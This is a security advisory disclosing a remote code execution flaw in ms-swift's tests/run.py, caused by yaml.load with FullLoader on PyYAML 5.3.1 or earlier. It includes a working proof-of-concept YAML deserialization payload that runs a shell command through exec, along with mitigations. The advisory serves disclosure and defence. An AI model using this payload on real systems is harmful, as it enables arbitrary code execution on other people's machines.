PYSEC-2026-1683

## Description

A Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.

If an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.

## Affected Repository

- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift) - **Affect versions:** latest - **File:** `tests/run.py` - **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420 - **Dependency:** PyYAML <= 5.3.1

## Vulnerable Code

```python if args.run_config is not None and Path(args.run_config).exists(): with open(args.run_config, encoding='utf-8') as f: run_config = yaml.load(f, Loader=yaml.FullLoader) ```

## Proof of Concept (PoC)

### Step 1: Create malicious YAML file (`exploit.yaml`)

```yaml !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('mkdir HACKED')" ```

### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

```python import yaml

with open("exploit.yaml", "r") as f: cfg = yaml.load(f, Loader=yaml.FullLoader) ```

This results in execution of `os.system`, proving code execution.

## Mitigation

* Replace `yaml.load()` with `yaml.safe_load()` * Upgrade PyYAML to version 5.4 or later

### Example Fix:

```python # Before yaml.load(f, Loader=yaml.FullLoader)

# After yaml.safe_load(f) ```

## Author

* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩) * Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*